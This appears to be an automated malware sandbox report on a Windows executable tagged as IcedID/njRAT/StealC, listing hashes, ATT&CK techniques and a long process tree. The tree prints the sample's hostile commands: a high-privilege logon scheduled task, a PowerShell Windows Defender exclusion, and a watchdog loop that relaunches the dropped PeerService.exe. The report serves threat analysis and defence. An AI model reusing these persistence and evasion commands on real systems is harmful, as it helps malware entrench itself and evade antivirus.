c8bff3a4a24bc3b4382feeaf5f116027c3bc1021e1a3469c947be331f5652d21

Analysis

max time kernel
149s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
13/08/2026, 17:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-13_e6e74b79329c43c35bbbc004fb5183b2_icedid_njrat_stealc.exe
Size 2.1MB
Sample260813-wcdldatzbs
SHA256 c8bff3a4a24bc3b4382feeaf5f116027c3bc1021e1a3469c947be331f5652d21
MD5 e6e74b79329c43c35bbbc004fb5183b2
SHA1 4ac6a58eaa9d002c9b5a39767be420b7ad477926
SHA512 6f862a8bf83f331f45c18ca1ee504e1eb7a57c8f9ee93234ef188a34e1b100506615575800d5e5c7a973f51bbbdb9d4e3d980b9ceb11e1c0afd09db123908f2f
SSDEEP 24576:MY++M/XZ9PSyTYkFxR7TphIig8pF5sXHW5KQxZDvPTJFTYF+0H/:X++MB9P91XphIl8pF58HsKkZrTrTYX/
TLSH
T1D0A57D2B726901A8F0BFD17CC9565907EBF2780543A096CF12E0D7B62B77AE04A7E345
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1524	powershell.exe
5028	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	2026-08-13_e6e74b79329c43c35bbbc004fb5183b2_icedid_njrat_stealc.exe

Executes dropped EXE 2 IoCs

pid	Process
3548	PeerService.exe
4372	PeerService.exe

Discovers running processes 1 TTPs 60 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2004	tasklist.exe
2028	tasklist.exe
624	tasklist.exe
2800	tasklist.exe
4332	tasklist.exe
3296	tasklist.exe
4560	tasklist.exe
1716	tasklist.exe
2948	tasklist.exe
800	tasklist.exe
5052	tasklist.exe
2944	tasklist.exe
412	tasklist.exe
1448	tasklist.exe
4380	tasklist.exe
4344	tasklist.exe
1700	tasklist.exe
3884	tasklist.exe
1128	tasklist.exe
1640	tasklist.exe
984	tasklist.exe
2708	tasklist.exe
1932	tasklist.exe
2116	tasklist.exe
4868	tasklist.exe
3672	tasklist.exe
3412	tasklist.exe
4040	tasklist.exe
1336	tasklist.exe
3184	tasklist.exe
3372	tasklist.exe
5016	tasklist.exe
4028	tasklist.exe
4664	tasklist.exe
3940	tasklist.exe
2900	tasklist.exe
1984	tasklist.exe
3252	tasklist.exe
2032	tasklist.exe
1936	tasklist.exe
2684	tasklist.exe
3052	tasklist.exe
1428	tasklist.exe
3368	tasklist.exe
1188	tasklist.exe
4544	tasklist.exe
4488	tasklist.exe
2484	tasklist.exe
2032	tasklist.exe
2100	tasklist.exe
564	tasklist.exe
2376	tasklist.exe
2228	tasklist.exe
4112	tasklist.exe
860	tasklist.exe
4296	tasklist.exe
3120	tasklist.exe
3928	tasklist.exe
2508	tasklist.exe
3996	tasklist.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4920	cmd.exe
2384	cmd.exe
3036	cmd.exe
2432	cmd.exe
3644	cmd.exe

Delays execution with timeout.exe 60 IoCs

defense_evasion

pid	Process
3672	timeout.exe
3272	timeout.exe
5052	timeout.exe
3844	timeout.exe
3836	timeout.exe
3536	timeout.exe
5020	timeout.exe
1720	timeout.exe
4400	timeout.exe
4800	timeout.exe
4796	timeout.exe
3368	timeout.exe
4512	timeout.exe
964	timeout.exe
2028	timeout.exe
204	timeout.exe
3784	timeout.exe
1920	timeout.exe
4272	timeout.exe
1676	timeout.exe
1896	timeout.exe
856	timeout.exe
440	timeout.exe
4844	timeout.exe
2156	timeout.exe
2368	timeout.exe
2472	timeout.exe
1648	timeout.exe
736	timeout.exe
2288	timeout.exe
3712	timeout.exe
3764	timeout.exe
556	timeout.exe
4212	timeout.exe
328	timeout.exe
1504	timeout.exe
1308	timeout.exe
2400	timeout.exe
2176	timeout.exe
2960	timeout.exe
1744	timeout.exe
2100	timeout.exe
4304	timeout.exe
3328	timeout.exe
1608	timeout.exe
4272	timeout.exe
448	timeout.exe
220	timeout.exe
2028	timeout.exe
2472	timeout.exe
3768	timeout.exe
3476	timeout.exe
3296	timeout.exe
4708	timeout.exe
1180	timeout.exe
4504	timeout.exe
4344	timeout.exe
3736	timeout.exe
3760	timeout.exe
1788	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2900	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1524	powershell.exe
5028	powershell.exe
1524	powershell.exe
1524	powershell.exe
5028	powershell.exe
5028	powershell.exe

Suspicious use of AdjustPrivilegeToken 61 IoCs

description	pid	Process
Token: SeDebugPrivilege	2028	tasklist.exe
Token: SeDebugPrivilege	2708	tasklist.exe
Token: SeDebugPrivilege	1524	powershell.exe
Token: SeDebugPrivilege	5028	powershell.exe
Token: SeDebugPrivilege	1700	tasklist.exe
Token: SeDebugPrivilege	3884	tasklist.exe
Token: SeDebugPrivilege	4544	tasklist.exe
Token: SeDebugPrivilege	624	tasklist.exe
Token: SeDebugPrivilege	3672	tasklist.exe
Token: SeDebugPrivilege	4028	tasklist.exe
Token: SeDebugPrivilege	2032	tasklist.exe
Token: SeDebugPrivilege	3120	tasklist.exe
Token: SeDebugPrivilege	4488	tasklist.exe
Token: SeDebugPrivilege	1932	tasklist.exe
Token: SeDebugPrivilege	1936	tasklist.exe
Token: SeDebugPrivilege	2800	tasklist.exe
Token: SeDebugPrivilege	5052	tasklist.exe
Token: SeDebugPrivilege	4664	tasklist.exe
Token: SeDebugPrivilege	860	tasklist.exe
Token: SeDebugPrivilege	1716	tasklist.exe
Token: SeDebugPrivilege	2948	tasklist.exe
Token: SeDebugPrivilege	3928	tasklist.exe
Token: SeDebugPrivilege	3412	tasklist.exe
Token: SeDebugPrivilege	2228	tasklist.exe
Token: SeDebugPrivilege	4332	tasklist.exe
Token: SeDebugPrivilege	2684	tasklist.exe
Token: SeDebugPrivilege	1128	tasklist.exe
Token: SeDebugPrivilege	3052	tasklist.exe
Token: SeDebugPrivilege	2484	tasklist.exe
Token: SeDebugPrivilege	412	tasklist.exe
Token: SeDebugPrivilege	1640	tasklist.exe
Token: SeDebugPrivilege	3372	tasklist.exe
Token: SeDebugPrivilege	2116	tasklist.exe
Token: SeDebugPrivilege	4040	tasklist.exe
Token: SeDebugPrivilege	2508	tasklist.exe
Token: SeDebugPrivilege	3996	tasklist.exe
Token: SeDebugPrivilege	1448	tasklist.exe
Token: SeDebugPrivilege	4380	tasklist.exe
Token: SeDebugPrivilege	3940	tasklist.exe
Token: SeDebugPrivilege	800	tasklist.exe
Token: SeDebugPrivilege	4344	tasklist.exe
Token: SeDebugPrivilege	1428	tasklist.exe
Token: SeDebugPrivilege	4296	tasklist.exe
Token: SeDebugPrivilege	2900	tasklist.exe
Token: SeDebugPrivilege	3368	tasklist.exe
Token: SeDebugPrivilege	4112	tasklist.exe
Token: SeDebugPrivilege	1336	tasklist.exe
Token: SeDebugPrivilege	3184	tasklist.exe
Token: SeDebugPrivilege	2100	tasklist.exe
Token: SeDebugPrivilege	2004	tasklist.exe
Token: SeDebugPrivilege	564	tasklist.exe
Token: SeDebugPrivilege	2376	tasklist.exe
Token: SeDebugPrivilege	5016	tasklist.exe
Token: SeDebugPrivilege	984	tasklist.exe
Token: SeDebugPrivilege	4868	tasklist.exe
Token: SeDebugPrivilege	3296	tasklist.exe
Token: SeDebugPrivilege	2944	tasklist.exe
Token: SeDebugPrivilege	1188	tasklist.exe
Token: SeDebugPrivilege	4560	tasklist.exe
Token: SeDebugPrivilege	2032	tasklist.exe
Token: SeDebugPrivilege	1984	tasklist.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3944 wrote to memory of 3036	3944	2026-08-13_e6e74b79329c43c35bbbc004fb5183b2_icedid_njrat_stealc.exe	86
PID 3036 wrote to memory of 2900	3036	cmd.exe	88
PID 3944 wrote to memory of 3548	3944	2026-08-13_e6e74b79329c43c35bbbc004fb5183b2_icedid_njrat_stealc.exe	89
PID 3548 wrote to memory of 2432	3548	PeerService.exe	92
PID 3548 wrote to memory of 3644	3548	PeerService.exe	94
PID 4372 wrote to memory of 4920	4372	PeerService.exe	98
PID 4372 wrote to memory of 2384	4372	PeerService.exe	99
PID 2432 wrote to memory of 1524	2432	cmd.exe	102
PID 3644 wrote to memory of 2028	3644	cmd.exe	103
PID 3644 wrote to memory of 2560	3644	cmd.exe	104
PID 2384 wrote to memory of 2708	2384	cmd.exe	105
PID 2384 wrote to memory of 4040	2384	cmd.exe	106
PID 4920 wrote to memory of 5028	4920	cmd.exe	107
PID 3644 wrote to memory of 1720	3644	cmd.exe	109
PID 2384 wrote to memory of 328	2384	cmd.exe	110
PID 2384 wrote to memory of 1700	2384	cmd.exe	111
PID 2384 wrote to memory of 3024	2384	cmd.exe	112
PID 3644 wrote to memory of 3884	3644	cmd.exe	113
PID 3644 wrote to memory of 4564	3644	cmd.exe	114
PID 3644 wrote to memory of 1744	3644	cmd.exe	115
PID 2384 wrote to memory of 2288	2384	cmd.exe	116
PID 2384 wrote to memory of 4544	2384	cmd.exe	117
PID 2384 wrote to memory of 4092	2384	cmd.exe	118
PID 3644 wrote to memory of 624	3644	cmd.exe	119
PID 3644 wrote to memory of 2836	3644	cmd.exe	120
PID 2384 wrote to memory of 1920	2384	cmd.exe	121
PID 3644 wrote to memory of 4504	3644	cmd.exe	122
PID 2384 wrote to memory of 3672	2384	cmd.exe	123
PID 2384 wrote to memory of 2224	2384	cmd.exe	124
PID 3644 wrote to memory of 4028	3644	cmd.exe	125
PID 3644 wrote to memory of 4344	3644	cmd.exe	126
PID 3644 wrote to memory of 2368	3644	cmd.exe	127
PID 2384 wrote to memory of 1308	2384	cmd.exe	128
PID 3644 wrote to memory of 3252	3644	cmd.exe	132
PID 3644 wrote to memory of 4268	3644	cmd.exe	133
PID 2384 wrote to memory of 2032	2384	cmd.exe	134
PID 2384 wrote to memory of 816	2384	cmd.exe	135
PID 3644 wrote to memory of 4512	3644	cmd.exe	136
PID 2384 wrote to memory of 3368	2384	cmd.exe	137
PID 2384 wrote to memory of 3120	2384	cmd.exe	141
PID 3644 wrote to memory of 4488	3644	cmd.exe	142
PID 2384 wrote to memory of 4112	2384	cmd.exe	143
PID 3644 wrote to memory of 440	3644	cmd.exe	144
PID 3644 wrote to memory of 2100	3644	cmd.exe	145
PID 2384 wrote to memory of 3768	2384	cmd.exe	146
PID 2384 wrote to memory of 1932	2384	cmd.exe	148
PID 2384 wrote to memory of 1964	2384	cmd.exe	149
PID 3644 wrote to memory of 1936	3644	cmd.exe	150
PID 3644 wrote to memory of 4020	3644	cmd.exe	151
PID 2384 wrote to memory of 3476	2384	cmd.exe	152
PID 3644 wrote to memory of 964	3644	cmd.exe	153
PID 3644 wrote to memory of 2800	3644	cmd.exe	154
PID 3644 wrote to memory of 4644	3644	cmd.exe	155
PID 2384 wrote to memory of 5052	2384	cmd.exe	156
PID 2384 wrote to memory of 2708	2384	cmd.exe	157
PID 3644 wrote to memory of 2028	3644	cmd.exe	158
PID 2384 wrote to memory of 4304	2384	cmd.exe	159
PID 3644 wrote to memory of 4664	3644	cmd.exe	160
PID 2384 wrote to memory of 860	2384	cmd.exe	161
PID 3644 wrote to memory of 5028	3644	cmd.exe	162
PID 2384 wrote to memory of 3852	2384	cmd.exe	163
PID 2384 wrote to memory of 3296	2384	cmd.exe	164
PID 3644 wrote to memory of 4272	3644	cmd.exe	165
PID 2384 wrote to memory of 1716	2384	cmd.exe	166

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-13_e6e74b79329c43c35bbbc004fb5183b2_icedid_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-13_e6e74b79329c43c35bbbc004fb5183b2_icedid_njrat_stealc.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3944
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C "schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F >nul 2>nul"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3036
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2900
- C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
  "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3548
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2432
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1524
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3644
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2028
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2560
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1720
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3884
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4564
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1744
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:624
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2836
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4504
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4028
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4344
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2368
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:3252
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4268
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4512
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4488
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:440
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2100
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1936
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4020
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:964
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2800
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4644
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2028
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4664
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5028
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4272
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2948
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1616
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2472
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3412
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2952
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4400
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4332
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5004
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1676
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1128
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:512
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3736
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3052
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3068
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3760
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:412
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3364
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:204
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3372
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:448
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1788
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4040
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1524
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3536
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1448
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1132
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4272
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3940
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1548
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1180
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4344
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4400
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2960
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4296
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3328
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3272
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3368
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1680
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:440
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1336
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2272
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4844
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3184
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3140
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2156
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2004
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1356
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5052
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5016
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2708
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:736
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:984
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3104
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4708
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3296
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1896
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5020
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1188
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2368
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3844
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2032
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1160
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4212

C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4372
- C:\Windows\system32\cmd.exe
  cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4920
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5028
- C:\Windows\system32\cmd.exe
  cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2708
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4040
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:328
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1700
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3024
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2288
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4544
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4092
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1920
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3672
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2224
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1308
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2032
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:816
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3368
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3120
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4112
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3768
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1932
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1964
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3476
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5052
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2708
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4304
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:860
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3852
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3296
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1716
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1412
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2400
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3928
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2836
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4344
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
